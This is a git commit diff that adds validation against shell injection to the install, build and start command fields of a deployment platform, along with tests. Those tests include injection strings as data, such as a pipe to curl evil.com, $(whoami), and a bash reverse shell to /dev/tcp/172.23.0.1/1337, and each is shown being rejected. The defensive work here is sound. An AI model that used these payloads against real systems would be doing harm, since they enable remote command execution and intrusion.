fix: add input validation for install/build/start command fields
Add shellSafeCommandRules() validation to install_command, build_command, and start_command fields in both the Livewire UI and REST API layers. These fields previously accepted arbitrary strings without validation, unlike other shell-adjacent fields which already used this pattern. Also adds comprehensive tests for rejection of dangerous input and acceptance of legitimate build commands. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
e39678aea5
commit
c9922c30c2
3 changed files with 191 additions and 6 deletions
|
|
@ -146,9 +146,9 @@ protected function rules(): array
|
|||
'gitRepository' => 'required',
|
||||
'gitBranch' => 'required',
|
||||
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'installCommand' => 'nullable',
|
||||
'buildCommand' => 'nullable',
|
||||
'startCommand' => 'nullable',
|
||||
'installCommand' => ValidationPatterns::shellSafeCommandRules(),
|
||||
'buildCommand' => ValidationPatterns::shellSafeCommandRules(),
|
||||
'startCommand' => ValidationPatterns::shellSafeCommandRules(),
|
||||
'buildPack' => 'required',
|
||||
'staticImage' => 'required',
|
||||
'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)),
|
||||
|
|
@ -200,6 +200,9 @@ protected function messages(): array
|
|||
'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
|
||||
'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
|
||||
'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
|
||||
'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
|
||||
'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
|
||||
'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
|
||||
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
|
||||
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
|
||||
'name.required' => 'The Name field is required.',
|
||||
|
|
|
|||
|
|
@ -95,9 +95,9 @@ function sharedDataApplications()
|
|||
'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'docker_registry_image_name' => 'string|nullable',
|
||||
'docker_registry_image_tag' => 'string|nullable',
|
||||
'install_command' => 'string|nullable',
|
||||
'build_command' => 'string|nullable',
|
||||
'start_command' => 'string|nullable',
|
||||
'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/',
|
||||
'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable',
|
||||
'custom_network_aliases' => 'string|nullable',
|
||||
|
|
|
|||
|
|
@ -672,3 +672,185 @@
|
|||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
|
||||
test('rejects semicolon injection in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => 'npm install; curl evil.com'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects pipe injection in build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => 'npm run build | curl evil.com'],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => 'npm start $(whoami)'],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects backtick injection in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => 'npm install `whoami`'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects dollar sign in build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => 'npm run build $HOME'],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects reverse shell payload in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects newline injection in start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => "npm start\ncurl evil.com"],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid install commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => $cmd],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm install',
|
||||
'yarn install --frozen-lockfile',
|
||||
'pip install -r requirements.txt',
|
||||
'bun install',
|
||||
'pnpm install --no-frozen-lockfile',
|
||||
]);
|
||||
|
||||
test('allows valid build commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $cmd],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm run build',
|
||||
'cargo build --release',
|
||||
'go build -o main .',
|
||||
'yarn build && yarn postbuild',
|
||||
'make build',
|
||||
]);
|
||||
|
||||
test('allows valid start commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => $cmd],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm start',
|
||||
'node server.js',
|
||||
'python main.py',
|
||||
'java -jar app.jar',
|
||||
'./start.sh',
|
||||
]);
|
||||
|
||||
test('allows null values for command fields', function ($field) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
[$field => null],
|
||||
[$field => $rules[$field]]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['install_command', 'build_command', 'start_command']);
|
||||
});
|
||||
|
||||
describe('install/build/start command rules survive array_merge in controller', function () {
|
||||
test('install_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['install_command'])->toBeArray();
|
||||
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['build_command'])->toBeArray();
|
||||
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['start_command'])->toBeArray();
|
||||
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
Loading…
Reference in a new issue